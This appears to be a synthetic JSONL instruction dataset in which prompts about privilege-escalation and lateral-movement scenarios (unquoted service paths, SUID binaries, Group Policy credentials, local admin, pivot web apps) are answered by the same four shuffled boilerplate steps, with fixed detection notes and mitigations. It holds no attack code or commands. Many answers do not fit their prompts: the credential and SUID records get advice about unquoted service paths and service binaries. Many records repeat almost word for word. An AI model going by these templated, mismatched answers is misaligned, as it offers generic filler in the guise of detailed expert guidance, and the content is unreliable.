{"instruction": "Unquoted service path suspected on host: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Unquoted service path suspected on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 3: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 4: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Group Policy object references embedded credentials: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Group Policy object references embedded credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 3: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 4: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Service runs as SYSTEM with writable components: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Service runs as SYSTEM with writable components", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 3: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 4: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Unquoted service path suspected on host: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Unquoted service path suspected on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 3: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 4: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Unquoted service path suspected on host: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Unquoted service path suspected on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 3: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 4: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Unquoted service path suspected on host: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Unquoted service path suspected on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 3: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 4: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Legacy Unix SUID misconfigurations present: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Legacy Unix SUID misconfigurations present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 3: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 4: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Group Policy object references embedded credentials: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Group Policy object references embedded credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 3: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 4: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Group Policy object references embedded credentials: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Group Policy object references embedded credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 3: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 4: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Service runs as SYSTEM with writable components: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Service runs as SYSTEM with writable components", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 3: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 4: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Unquoted service path suspected on host: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Unquoted service path suspected on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nStep 3: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 4: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Legacy Unix SUID misconfigurations present: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Legacy Unix SUID misconfigurations present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 3: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 4: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Unquoted service path suspected on host: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Unquoted service path suspected on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 3: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 4: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Unquoted service path suspected on host: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Unquoted service path suspected on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 3: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 4: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Service runs as SYSTEM with writable components: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Service runs as SYSTEM with writable components", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 3: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 4: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Unquoted service path suspected on host: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Unquoted service path suspected on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 3: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 4: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Legacy Unix SUID misconfigurations present: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Legacy Unix SUID misconfigurations present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Reproduce the condition in a controlled lab to validate any escalation vector safely.\n\nStep 3: Assess service and file ownerships and whether non-privileged users can alter execution paths.\n\nStep 4: Coordinate with patching and configuration owners to plan remediation for misconfiguration findings.\n\nDefender detection notes:\n\n  - Unusual modifications to service binaries or creation of new scheduled tasks.\n\nMitigations & hardening:\n\n  - Apply least-privilege to services, fix unquoted paths, and enforce code signing.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Valid low-priv domain user credentials present: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Valid low-priv domain user credentials present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 3: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 4: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Local admin on one host available: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Local admin on one host available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 3: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 4: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Local admin on one host available: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Local admin on one host available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 3: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 4: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to an internal web application that can act as pivot: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Access to an internal web application that can act as pivot", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 3: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 4: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Local admin on one host available: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Local admin on one host available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 3: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 4: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to an internal web application that can act as pivot: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Access to an internal web application that can act as pivot", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 3: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 4: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Valid low-priv domain user credentials present: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Valid low-priv domain user credentials present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 3: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 4: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to an internal web application that can act as pivot: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Access to an internal web application that can act as pivot", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 3: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 4: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Local admin on one host available: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Local admin on one host available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 3: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 4: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to an internal web application that can act as pivot: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Access to an internal web application that can act as pivot", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 3: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 4: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to an internal web application that can act as pivot: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Access to an internal web application that can act as pivot", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 3: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 4: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Local admin on one host available: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Local admin on one host available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 3: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 4: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to an internal web application that can act as pivot: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Access to an internal web application that can act as pivot", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 3: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 4: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to an internal web application that can act as pivot: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Access to an internal web application that can act as pivot", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 3: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 4: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Local admin on one host available: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Local admin on one host available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 3: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 4: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to an internal web application that can act as pivot: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Access to an internal web application that can act as pivot", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 3: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 4: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to an internal web application that can act as pivot: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Access to an internal web application that can act as pivot", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 3: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 4: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Local admin on one host available: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Local admin on one host available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 3: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 4: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to an internal web application that can act as pivot: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Access to an internal web application that can act as pivot", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 3: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 4: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to an internal web application that can act as pivot: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Access to an internal web application that can act as pivot", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 3: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 4: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to an internal web application that can act as pivot: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Access to an internal web application that can act as pivot", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 3: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 4: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Access to an internal web application that can act as pivot: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Access to an internal web application that can act as pivot", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 3: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 4: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Valid low-priv domain user credentials present: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Valid low-priv domain user credentials present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nStep 3: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 4: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Local admin on one host available: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Local admin on one host available", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 3: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 4: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Valid low-priv domain user credentials present: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Valid low-priv domain user credentials present", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Plan low-noise lateral attempts in a lab before exercising any live action in production.\n\nStep 3: Ensure defenders capture relevant telemetry (authentication events, process creation, network flows).\n\nStep 4: Inventory reachable hosts and identify administrative interfaces and services used for administration.\n\nDefender detection notes:\n\n  - Unusual remote process execution patterns across multiple hosts.\n\n  - Authentication events from uncommon source hosts for user accounts.\n\nMitigations & hardening:\n\n  - Restrict legacy administrative protocols and enforce modern authentication.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
